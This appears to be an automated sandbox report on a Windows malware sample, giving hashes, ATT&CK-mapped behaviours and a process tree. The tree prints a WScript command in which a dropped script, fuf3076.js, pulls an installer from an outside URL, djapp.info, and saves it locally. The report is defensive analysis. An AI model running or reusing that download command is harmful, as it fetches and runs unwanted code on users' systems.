b47c142c88c601f2bb93b662decc8c1aae612f5f7ec015f346b53086020750c6

General

Target

13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe
Size

184KB
MD5

13cdf61e44c606bb985d05bf918dffbe
SHA1

c132070fd38e12ef15026573675875a933221389
SHA256

b47c142c88c601f2bb93b662decc8c1aae612f5f7ec015f346b53086020750c6
SHA512

43316da11893a902deabc7208bf67993ee8d0cedb07a2eca91e86682ed01350f7fc57f6e3853f46e88ce5f84036cda39599510dfe723ab6f53d876d8859669c4
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3T:/7BSH8zUB+nGESaaRvoB7FJNndnm

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
6	3172	WScript.exe
32	1180	WScript.exe
39	4020	WScript.exe
54	4144	WScript.exe
56	1216	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3364	1792	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000_Classes\Local Settings	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 3172	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	83
PID 1792 wrote to memory of 3172	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	83
PID 1792 wrote to memory of 3172	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	83
PID 1792 wrote to memory of 1180	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	100
PID 1792 wrote to memory of 1180	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	100
PID 1792 wrote to memory of 1180	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	100
PID 1792 wrote to memory of 4020	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	101
PID 1792 wrote to memory of 4020	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	101
PID 1792 wrote to memory of 4020	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	101
PID 1792 wrote to memory of 4144	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	103
PID 1792 wrote to memory of 4144	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	103
PID 1792 wrote to memory of 4144	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	103
PID 1792 wrote to memory of 1216	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	105
PID 1792 wrote to memory of 1216	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	105
PID 1792 wrote to memory of 1216	1792	13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe	105

C:\Users\Admin\AppData\Local\Temp\13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\13cdf61e44c606bb985d05bf918dffbe_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3076.js" http://www.djapp.info/?domain=pMJcRNQjvx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3076.exe
  2⤵
  - Blocklisted process makes network request
  PID:3172
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3076.js" http://www.djapp.info/?domain=pMJcRNQjvx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3076.exe
  2⤵
  - Blocklisted process makes network request
  PID:1180
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3076.js" http://www.djapp.info/?domain=pMJcRNQjvx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3076.exe
  2⤵
  - Blocklisted process makes network request
  PID:4020
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3076.js" http://www.djapp.info/?domain=pMJcRNQjvx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3076.exe
  2⤵
  - Blocklisted process makes network request
  PID:4144
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3076.js" http://www.djapp.info/?domain=pMJcRNQjvx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf3076.exe
  2⤵
  - Blocklisted process makes network request
  PID:1216
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 1448
  2⤵
  - Program crash
  PID:3364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1792 -ip 1792
1⤵
PID:4308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3076.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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